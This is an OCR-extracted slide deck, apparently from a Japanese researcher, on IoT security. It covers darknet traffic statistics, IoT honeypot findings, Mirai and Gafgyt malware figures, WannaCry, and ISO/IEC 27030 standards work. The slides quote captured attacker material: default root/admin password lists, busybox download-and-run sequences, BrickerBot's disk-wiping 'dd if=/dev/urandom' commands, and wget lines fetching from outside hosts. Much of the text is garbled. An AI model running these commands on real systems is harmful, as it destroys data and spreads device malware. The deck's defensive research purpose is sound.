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File(E) Settings(S) View(V) Help(H)

TCP_SYN_ACK
TCP_ACK

TCP_PLSH
TCP_OTHER
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Number of packets Number of IP address Number of packets
par year For darknet par 1 IP address per year
2005 0.31 billion 16 thousands 19,066
2006 0.81 billion 100 thousands 17,231
2007 1.99 billion 100 thousands 19,118
2008 2.29 billion 120 thousands 22,710
2009 3.57 billion 120 thousands 36,190
2010 5.65 billion 120 thousands 50,128
2011 4.54 billion 120 thousands 40,654
2012 7.79 billion 190 thousands 53,085
2013 12.9 billion 210 thousands 63,655
2014 25.7 billion 240 thousands 115,323
2015 54.5 billion 280 thousands 213,523
2016 128 billion 300 thousands 469,104
2017 150 billion 300 thousands 559,125
600,000

500,000

400,000
300,000
200,000 I
100,000
0 ’;ﬁ—%—¥—_ﬁ—_ - - - . - - - - - . - - -

2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017
Number of packets par 1 IP address per year




1
-

Il =
¢ &
S,

-

I x| 2 =l =
) : -
3y ) ==l

T I o BerS =1

'
-..

¢

&

l n-.' * . n == EN%“*;' [ — % E
: A ! ___=w —
" * * —— '@t B =N —
e | o =" wamm =" _ ] ™=f "
1 o L — n = C =
=< ' — —
0.# I- l n e — n
t:: "
w

il Y=y

. : 13
» »

[ l

®

.‘4
.'v

T

.;l\

t
T L=

&

.
I =
i 2l e &

i+l © R XD
O =m0

.'. - ’. 'A
BT © i © JITTH ' '

2 - I

~
3

»
=

»
i i ||| |

il ai-oo

i i I j :

. : - - -
Ml © Ikd =

[l =l

e
..-x

o
k&

£

=g

»
||| : I :

»

+ 3
i

»

- - e

¢ &
S

4
N

I @ Bl + =k

»
==

TRl

=Py
7

- ! - . - » » -
"lll i I £3 |I| "IIII = ‘ l"lll ﬁ "IIII
)

2 R ' =
I . -

: » » » -
] 1™l '

»
j==t}
]

If * '§%§% 2 'I I"Ill o = '-n .

- - »
g gy ol
B “ | =2

Wi P —
I R —
» —

=
()




IV EAE
~ 27 ORRERREICEBL =25~

® DAILRARBEDIAILR)
v BREMEET, BoBEFMDI7AILOCT OIS LIZHE %@

vV J—bheO3RRER  N—FTARIEED AT LBl 2
V D7)V RITR[RE D 74 IV E L BEE &R

1 )LR
RN
v BATEMELEDIEERITD
v HALRIZERENERNEEL, ABEBAETIE RS
V BFA—ILOYL—IN\TJLAT AT (USBAE) ) FIEAKRET HED
v WindowsDI7AILHBROAVE—D U T HEEEFIRT 512D 9 —/\

vV OSPT I r—av DEHEIC T AREI—RERALSED

® FAMDKE
v ERETOSL0T7AILICALE
V A—HBHBIZEEVATLADAV AN )L OEEIZIED
vV BREBEEERFR-TOEDOHNZLY SO DOARE

HE © GIZMODE Japan




IV x 7 EHEE
~ 2oz 7OBMICIEBEL=5E~

e )\1Dx7
BNIEHROITENE!
v 1-YDF-Mh—

& IE Antivirus - Security Center |I:I |@

: IEAntivirusB.S . w ” . ‘&.\

Security Center

Settings Help Reglstﬂr

Scan & Clean
A\Y
e PrROITFP
Current Progress
N P ,__t-
v A—HICTEEILS]
W —_— ||
v A—H0RER U | l
[ Start Scan ] Found & threats | Remaove Threats ]
=~
o j J.U.A 'j I 7 Malware Found (Double-click for more information)
v —ﬁ@PCJ:O); Mame Status Comments »
— ymp— Pl 1& Adult Conkent Dialer apy »,cab identified by SpywareBlaster
v 7T & O)TE_SKD@LF’ 4‘5 awmdabest, com apy IESPYADS Restricked Sike
4_'5 ClearStream Accelerator  Spw identified by SpywareBlaster
W IEHelperObject Malware avicodesx,ocx Detecked as Dial/z60 by F-Prok
) 2/7‘7 lj - 7 B rMsCache nstaller Spy identified by SpywareBlaster b
. 4‘5 Sweetse Spy IESPYADS Restricted Sike
v :l_ — :_ Y i 15 W worldanywhere Toolbar  Adware waeb,cab Added by Adware-Worldanywhere ADAWARE! b’
MT7 =] .
< [ |
) h z
v RZ (scare) =&
‘' Unregistered version! Click here to register your copy... http: MTE-Ankivirus ., com
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Managed

Un-managed

[ Critical Infra ]

[ Electricity

| Trains |

[ IoT ]
Smart - Home GW
Elec. Meter Home [ =— ]
Smart Smart
City/Town [ Home Apps ]

Smart
Health

[ Smart Phone ]

[ Automotive ]

|

Life Support
Robots

SIP: Strategic Innovation Promotion Project
by Cabinet Office, Gov. of Japan

fixed

e

movable

ref: Dr. Tokuda, Keio Univ.
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2017-2022 CAGR: 14.9%
Trillion JPY (%)
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Domestic loT Market Investment Prediction, 2017 ~2022
2017: Actual, 2018 ~2022: Prediction
(Source : IDCJapan)

https://businessnetwork.jp/Detail/tabid/65/artid/5981/Default.aspx
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% Hardware ¥ Connectivity © Software © Service

Domestic loT Market Investments Prediction: 2017~2022
(Source : IDC Japan) https://japan.zdnet.com/article/35125558/

1




B&AICEITB0T HEAEND Y- A 2|

| 1 Automobile J::: 1 BENEMO ST |
: 2. Objects ¥ 2 EIDISYFLY 25%
Tracking 53—, 7 3 AorS % IR

4, Livestock -~ s REOFS w4 1%

5 mET—ILNEZQUY

5 Agri-l:inlrl
(6. Factory 6 TIBE-& 7 |
7. Home/Building 7 =L EIDEZZT AT
8. Shops = 8 IEISHEDE=L2U> T
9. Public Facility & 9 REIHOE=L 4
... 10.EnergyPlant D10 TRALF—HEEOE=LUSY

M0n|t0r|ng 11.'£ranjp9rt -'__\j‘ 1 SRR T4y

Ana |y5i5 1 T:Lrlklggr;ration ﬂ‘ 12 FEOBMEKEE=2UT
13, Human Health W 13 AORBDE=SY >SS
14. Livestock 14 KEDE=4 5 i 1%
15. Physical Security 15 P87 EHE
16. Disaster 16 HEER
17. Nature Environment 17 BERIEIE &) 5 54

—— . 18. Energy Consumption 18 TR+ —HEOREL
Optl mization 19. Factory Production E 19 TR FEOREE
20. Supply-Chain = 20 Y51 F1I— DBt
21. Delivery Route 21 B IL— b O IEAE
22. Sharing service 22 21722 E
23. Wearable Device 23 DIFFINFIAA
24. Smart Product < 24 27— 7049+
25. Connected Car' Z‘IJ 25 QR4 v K H— Ef
26. Smart/Telematics L 26 23— MRBFLRF ORI
New Insurance. 27 27— M5 —). [EA ITR/2017
. 27. Smart retails — = https://www.itr.co.jp/
Se rvices 28. loT Payment Device 28 loT iR A “— company/press/
R TR 171012PR.html

B- oTHA GRS AF L OENRFE(SERF



CEATEC 2018 s -

https://japan.cnet.com/article/35127302/

Walk-thrc

at convenience store
Robo-

Bathroom Monitor (Vital-Heart rate, Water Temp, Time in Bath)



CEATEC 2018 ecmenss

https://internet.watch.impress.co.jp/docs/event/1148031.html
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Telnet




B3
F71b/BNSZT—KT

[shogo@www9058up ~]$ telnet x.x.243.13
Trying x.x.243.13...

Connected to x.x.243.13.

Escape character is '*]'.

PN .3.0.dm800s
PN  1ogin:
Password (12345

BusyBox v1.1.2 (2007.05.09-01:194+0000) Built-
in shell (ash)
Enter 'help' for a list of built-in commands.

)E—AJ1BLh
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(SNETO )T (passive) BL:
SHARARYNI—OTTHELAEKRDINDEFD

S—=D2INE=R) Y
IN=—7FYh

BEE) (active) BY:
't /9—7~ vy EOMEFRAMEH - EHESF 2B SIER

Weal=bJ Telnet, FIPEAD7 7t AL D8, VAT L
INVDRTHR—MEDOTER
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#IP addresses

0TBEFR — bADRAF + I3 ET E I 1M

2M/day!

HEGIODONICTERZR—7 %y P THBIERR

3e+06 | [—Total éi Eif‘é ' E i_é f‘é*
-~ 23/TCP(Telnet) 51 gicfl §i% ®
|~ 2323/TCP(Telnet) s 2810 gag 2 1
5358/TCP(Telnet) g SiS%i5810 9
2e+06 | Er S80S 5 ¢
—5555/TCP(TR-069/TR-064) 51 250 E N OF
|~ 6789/TCP(Telnet) 41 QIaMles 18 K|
—7547[TCP(TR-069/TR-064) Sy &A1 3
1e+06 1| 23231(Telnet) b e i, 2
37777/TCP(UPNP) l’

Jan 2016 Apr 2016 Jul 2016 Oct 2016 Jan 2017
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AF¥F+ 2 HETEDATWSE - MDA
(20174F)

Port Target Service

23/TCP loT (Web Camera, etc.)

Other Ports 2323/TCP loT (Web Camera, etc.)
35 8% 5358/TCP loT (Web Camera, etc.)
7547/TCP loT (Web Camera, etc.)

1900/UDP loT (Home Router, etc.)

1433/TCP

443/TCP SSL/TLS
A 80/TCP HTTP
QA
0\«0 QQ\, N
G 54 %LIEMN
X \

+ loTBA{R
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WEARXMIIoT #38 (FBERA

LED display control system Solid Stage Recorder

---—-._..

U_o_

Wirgless Router TV Receiver GSM Router

VoIP Telephony System Fire Alarm

Parklng Management System

Internet Communication Module ,
Video Broadcaster
{ R ASRDHX PANEL —>
user( uoD1 - —
£ INTERNET()  RX/TX0O) § - —-—'»—’l;
10 Yohow. LINKO |/oD 2
SERIAL OUT»

Yin Minn Pa Pa, Shogo Suzuki, Katsunari Yoshioka, and Tsutomu Matsumoto, Takahiro Kasama, Christian Rossow, “loTPOT
Analysing the Rise of IoT Compromises,” 9th USENIX Workshop on Offensive Technologies (USENIX WOOT 2015)

ST T 3_ Data Acquisition Server
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EAOELBREEK (2017)

® 445/tcp (SMB)
v 2017458~

v W

indows (WannaCry)

9 Wana Decryptor 2.0

Payment will be raised on

5/1872017 11:04:00

Time Left

Your files will be lost on
52272017 11:04:00

lime Left

Contact Us

What Happened to My Computer?

Your moportant. files are encrypted.

lany of your documents, photos, videss, databases and other files are 5o long
hecause they have been encryped. Maybe you are busy lookong for a way to |7
files, but do not wastz your fime. Nobody can recover your files without our d
service

(Can I Recover My Files?
Sure, We guarantee that you can recover all your files safely and easily, But

Vou can decrypt some of your files for free. Try now by clicking <
But if you wart: to decrypt all your les, you need to pay. ke
| Vou only have 3 days to submat the payment. After that the price will be doub|

| 2] you don't pay m 7 days, you won't be able to recover your Sles foreved
We will nave free events for users who are so poor et they couldn't pay in {F

[How Do I Pay? I
[Payrazst is accepted in Bitcoin only. For mere information, click <About bitcol
Please check the current price of Bitcom and buy sore bitcoins. For more infy

h
[Vielnamese

<How to buy bitcoins>.

| And send the correct amount to the address specified m this wmdow.
| 2. fer your payment, click <Check Paymest>. Eest time to check 3:00am - 11:00am GMT
PR ¥ AN R

Send $300 worth of bitcoin to this address:

¥ | 116p7UMMngoj1pMvkpHijcRAfINXJELrLn
Check Payment

H#8 : Symantec

https://www.symantec.com/security_response/writeup.jsp?docid=2017-051310-3522-99

National Institute of
Information and
Communications
Technology

v 2017F68~
NENAILIL—X&

ene O} weekdy.ascillp

g?fﬂ)Wi-Fi}b—9— "L-02F, ICHeSst 7 v 77—k

HONVEh/ASCIRENE

* CINDIN CEM & ©rew 0

Wi-Fi STATION L-OZF,
—HHEEAJPCERT D=7« X—Yavtr9—Z9A128. NTTRIEDE/N
IIL—5—T#%% "Wi-Fi STATION L-02F; icRBENBIERRUL.

HE AT R F—

http://weekly.ascii.jp/elem/000/000/404/404196/

® 23/tcp (telnet)
v 20174118~

WNE—LIL—X&

ene 0 @ logitec.cop

BEE 7 - A3 3 7ADT Y T AR BYF 2

B 77— ADIT DTy T TP RES

INo nas un uame  MRO77-A0:7

e

30084/~ 1=

e LAN-WHI0ON/DR

, 300VEpsAYAA—S i
? usas-pa) LAN-W30ON/DR
Ver2. 14200

3 300MbpsA—T LAN-WH30ON/DRCY

LAN-WH300NDRCY

EXTT T ITNT I DR
R, ITNF I - ORRITBIOH TS, I7—-AD
1.

BRBLENHOFR(HRUDN1~4)

1. BBELUTARRORERE

HH: Logitec

http://www.logitec.co.jp/info/wireless-router. html

NICTER

Network Incident analysis Center for Tactical Emergency Response
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HARRSIRONEHEREIL6/NG—

ERIEFRENE/ -1 EFEERRE/NZ—2 ElEIRFEE/ N 2—23

root/r
root/a
root/1
root/1

admin/
admin/
admin/
admin/

root/1
root/1
root/p
root/d

admin/
admin/
admin/
root/12

B EERIE/INN2— 1
B EERME/IN2—23
root/
root/
root/ N

root/
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at mips busybox; rm mips; cp busybox systemr; rm busybox; ./systemr & sleep
cat mipsel busybox; rm mipsel; cp busybox systemr; rm busybox; ./systemr & sleep

t arm busybox; rm arm; cp busybox systemr; rm busybox; ./systemr && sleep

t ppc - busybox; rm ppc; cp busybox systemr; rm busybox; ./systemr 8% sleep
cat superh - busybox; rm superh; cp busybox systemr; rm busybox; ./systemr & sleep
cat mipsi16 - busybox; rm mipsi6; cp busybox systemr; rm busybox; ./systemr &} sleep
at 1586 - busybox; rm 1586; cp busybox systemr; rm busybox; ./systemr && sliep
s Binaries of MIPS, MIPSEL, ARM, PPC, -
s SUPERH, MIPS16 are all downloaded and
executed
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18000 About 24% are in VT

16000

14000
- 25000+
.212000 Binaries
£ 10000 As of April
g 2018
2 8000
o
=+
® 6000
o

4000

2000

0

2016/10 2016/11 2016/12 2017/01 2017/02 2017/03



iBENLFT)—DCPU 7 —FFI7F+
* #loT malware binaries : 16847 (25,000+ as of 2018/4/27)
(20161002~20170424)

loTEmalwarebinXpublarchitectures

B ARM
M IntelB0386
M MIPSEL
MIPS
M RenesasBH
" x86-64
B PowerPCriisco@500
B Motorola®8020
B SPARC
B MIPS64

M others

B empty



AV ICKBINNICLDE

Kaspersky
Backdoor.Linux.Gafgyt
Backdoor.Linux.Mirai
Backdoor.Linux.Hajime
Backdoor.Linux.Tsunami
Backdoor.Linux.lrcShell.p
Trojan-Downloader.Shell.Agent.p
Backdoor.Linux.Katien.e
Trojan-Downloader.Linux.Gafgyt.b
Trojan-DDoS.Linux.Agent.o
unknown

# binaries
12846
465
16
196
26

1

10

14

9
2066

MiraiDIIEBHAS << BTN BRIKRICE LTS, HENTFV-13. B
=lc  “Gafgyt” (=bashlite) Icf@> Tl 3., IBHIE. N=—FKy bH

MirailfEn a2 FICHB L TWEM> =78,
FhEBITA32NIOTT7EBSLASND,

miElE. NZ=—FKY
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Not packed (low entropy) 12909 98.54%
Possibly packed (high entropy) Q9D 1.46%
13100
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100
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(DNS Water Torture Attack)
9a3jk.cc.zmr666.com?
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“Brickerbot” &EEIENZ 2Nz 7I32017FE1AICEAIZN

7=e T2V T7IE. APL=SLEDT7 74NV 2EH % (E
NWEZIBATWWHND, —HEZEZA SN E., W < DO2HD
loTERRZIE TWICER S LU,

dd if=/dev/urandom of=/dev/hdbl &

dd if=/dev/urandom of=/dev/root &

dd if=/dev/urandom of=/dev/ram@ &

dd if=/dev/urandom of=/dev/mmcblk® &
dd if=/dev/urandom of=/dev/mmcblk@pl &

cat /dev/urandom >/dev/sda &
cat /dev/urandom >/dev/sdal &
cat /dev/urandom >/dev/sdal &
cat /dev/urandom >/dev/sda3 &
cat /dev/urandom >/dev/sda4 &
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cd

Example of downloaded scripts:
Iik fraud

Il ="http://srv.juiceadv.com/banner iframe.asp?user=5025&tipo=20"
I12="http://srv.juiceadv.com/banner iframe.asp?user=5025&tipo=10

I!3="http://srv
Tl 4="http://srv

busybox
busybox
busybox
busybox
busvbox
wget —-g
wget —-g
wget —-g
wget —-g
wget —-g
wget —-g
wget —-g
wget —-g
wget —-g
wget —g
Wooe 1

—_— Y

.Juiceadv.com/banner iframe.asp?user=5025&tipo=0"
.Juiceadv.com/banner iframe.asp?user=5025&tipo=6"

wget -q -O /var/run/.agent http://Ll/8./9.183.24//agent.php

wget -q -c "SIP"

wget -g -c "SIP2"

wget -g -c "SIP3"

wget —-g -c "SIpP4"

—--header "Sagent" --header "Referer: http://www.iomoda.it" "SIP
-U "Sagent" "SIP"

-U "Sagent" "SIP2"

-U "Sagent" "SIP3"

-U "Sagent" "SIP4"

—--header "Sagent" --header "Referer: http://www.iomoda.it" "S$IP2'
--header "Sagent" --header "Referer: http://www.iomoda.it" "S$IP3'
--header "Sagent" --header "Referer: http://www.iomoda.it" "S$IP4'
--user-agent="S$agent" --referer="http://www.iomoda.it" "SIP"
--user—-agent="S$agent" --referer="http://www.iomoda.it" "SIP2"
__ﬂhﬁv_ﬁiﬁﬁ+—"éﬁ;ﬁﬂ+" I "%++; >>T . NN 2w T ETDAWN
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* Download servers:

* 5,438 IPs in 117 Countries
(2016/10~2017/02)

e C&C servers:

e 370 IPs in 34 Countries
(2016/10~2017/02)

* Bots:
* 100,113 IPs/day observed by loTPOT
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https://www.insecam.org/en/

Winrld anlina e ~amaras Airantans Avie " Banasonic PanasonicHD Linksys Sony TPLink Foscam Netcam New online cameras Sitemap by cities
United States(49 1 6} Add surveillance camera FAQ Contacts =
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1. Peeping Nov/29/2016 0445436
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2. Access URL
3. Enter ID / Password
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['Wall of law against loT security |

BEE. ChZL TG, BIEDOME L. ChEELTIEELEL,
No censorship shall be maintained, nor shall the secrecy of any means
of communication be violated

N iy A 8 )
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- BRBEFEEENDUE
e Definition of business on CACT

— Certified Assoc against Cyber attack on Telecom equip.

— NICTEDHRE
* NICT Scan to loT Equipment




2DDEBOWBHRBEN:
— In order to cope with loT security, the law

defines the work of CACT (Certified Association against

cyber attack on Telcom equipment: E{EE ¥ B IBE KR E
YA N\—HENLHE)

- NICTSE

> S5%fE], NICT loTHEgE~ND A X /N —
FAANZEFRITH

* In MIRAI malware attacks, * Such as Admin / Admin, to those
vulnerable passwords are said to who are to remain weak passwords,
have spread the infection you want a reminder of the

password change
* NICT now can check password/port
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SC27TADERRMEDIEIELDIER
~ TheHierarchyof Standards for Secure loT

General IoT standards as
basis for security
standard. SC27/SG17
should refer these
documents.

Code of Practice
including design polices
for IoT devices /
systems

Security Guideline for
Common specific areas
(GW, NW, App, etc...)

agricultur healthcar electric
Standers € € power

Sector-specific automotive railroad
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« Draft PD 1oT Sec
preliminary draft
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SC27-WG4 N207/8 ,
 Draft NWIP loT Security Privacy: Draft text for a
NWIP for Guidelines for security and privacy

rity Privacy : Draft text for a
or Guidelines for security and
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Sensor/device

4 N

N J

Data acquisition

Network
4 N
D
tmi,
Gateway
1 Wired/wireless

.

Platform/service

/Big Data Securityas Senh\

J/

Data aggregation

1
i
\

\ Clu;lds /

—————————————

Data analysis
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provider system } Network  J—
flaT || J i I |oT system
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| | loT Gateway : : Device/sub
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. ZISNWI#‘ISO/IEC 27030¢ L THEEESI N, #
7-5wWD (EEFxa XV b)) PEEINT,
(20185F4R8)

* IT7 4% !FaudKan (HF%) . FE (A=) .
Luc (B F &) Antonio (77 R)

Scope :

This document provides guidelines on risks,
principles and controls for security and privacy of
Internet of Things (loT) .
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5. Overview
5.1 General
5.2 Relationship to IoT trustworthiness
5.3 Stakeholders (loT Service provider, loT Service developer, loT user)
5.4 Reference Model (based on ISO/IEC 30141 (loT RA))
5.5 loT life cycle

6. Risks of loT systems

7. Privacy impacts of loT systems

8. Security objectives for loT systems
9. Privacy objectives for loT systems

10. Security and Privacy Principles
10.1 Security Principles
10.2 Privacy Principles

11. Security and Privacy Controls
11.1 Security Controls
11.2 Privacy Controls
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v/'Structure of Controls to ensure alignment to 1ISO/IEC
27002

v'Ensure that privacy controls are accounted for and also
align from a structure perspective

v'Align risk based approach from ISO/IEC 27034 into the
risk and control development for the 1oT solution

(ZDEBREHFEDIT 4 ZDERE)

v'Integrate provide content from experts

RECOMMENDATIONS RESULTING FROM THE MEETING:
FAX /P eRBEE, WD2ICBITTIIEHRE.,
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FSPICDUNT
2 4 kJL . 10T devices Security and/or Privacy baseline
controls

Rapporteurs: Koji Nakao (JP), Asbjorn Hovsto (NO), Mahmoud
Ghaddar (FR), Laura Lindsay (US)
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https://leginfo.legislature.ca.gov/faces/billTextClient.xhtml?bill_id=201720180SB327

LS 7S ¢ 0o LS
IVAFR=OaARX b
B & XTI
v'5.5 loT lifecycle
v'10.1 Security guideline principle
v 11 1 Security Control

uj EI es or oT securi or smar na ion
%Pﬁ"ﬂﬁ %ﬁfi{x I}L‘;/ﬁ _?'Z) yc‘: ﬁ*; % Tw

5,5,10.11c2 LT REED 1-117—4 2 H IS
% t t d~9f:o i -

11.1 {22 W T,

e Content is relevant but must be aligned to 27002 for controls.
Will use JP4 implement and address control aspects. Add
content to Annex for next revision. Add Editors Note to
integrate as a control. (Refer to JP4)
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Security Principle D2

. Focus on
: essentials
~ + Threat modeling

Detect, react,-‘;

adapt

. An_::coun_tablll Secure by

* Rigourin . default
defence "+ Accountability

+ Resiliency
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B & X

19T Privacy controls ‘i\ ’1: Tﬂ%)é*g e Llisf ? '}: LS

& LY,

* Principle 1: Proactively Prevent Privacy Invasive loT
Events

* Principle 2: Ensure loT Privacy by Default

* Principle 3: Embed Privacy Enhancing Capabilities into loT
Service Design and Device Architecture

* Principle 4: Adopt a Stakeholder Approach to loT Privacy
for Full Functlonallty, Positive Sum Outcome

* Principle 5: Provide Full Lifecycle Protection of loT Data
for End-To-End Security and Privacy

* Principle 6: Opt for a Verification Based Trust Approach
to loT

* Principle 7: Consider Users at the Core of |loT Services




14RO aX M (2)

LR & XTI
rrenm Difmam & LTI,
Accepted in Principle

* Expert is asked to provide principles as “controls” in
next revision. A placeholder will be made in this
section.

* This must align to current WG5 privacy standards and
principles.

& LT, REIZE~DEFNLEIERZEHF L.

27030 Tld. WG5 privacy standards|ZiBESF I AN E

ELTW3,
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H>THY, 27030(CHWTH, 27034(C&E D S Hig
& LT [£EWET] 21TIXE LV DHER,
Mine LTI :

Can the expert provide details to how he would like the
document integrated in to the current WG?

Or he is willing to work with other expert contributions to
refine the content provided as we work our way through

the comments?
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1. Refinement of Reference Model in Sub-clause 5.4;
2. Initial text of Risk in Clause 6;
3. Improvement of Security Controls in Sub-clause 11.1.
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» eMBB: Enhanced mobile broadband
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From LTE to 5G: Adopting New Networking Paradigms
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Serving PDN |
Gateway Gateway Firewall

dge Cloud

‘ dge Cloud

8  © Nokia Solutions and Networks 2018 Public NOKIA Bell Labs
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(Super-Smart+Connected City)

Smart+Connected City Smart+Connected City Smart+Connected City Smart+Connected City

Parking Traffic Safety & Security Lighting

Give citizens live Monitor and Automatically Provide view of Manage street
parking manage traffic detect security people flow data lighting to reduce
availability incidents to incidents, shorten to aid planningand  energy and
information to reduce congestion  response time, leverage location maintenance costs
reduce circling and improve and analyze data data for contextual
and congestion livability to reduce crime content and

advertising
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Thank you for your attention

Toward success of Tokyo 2020!!
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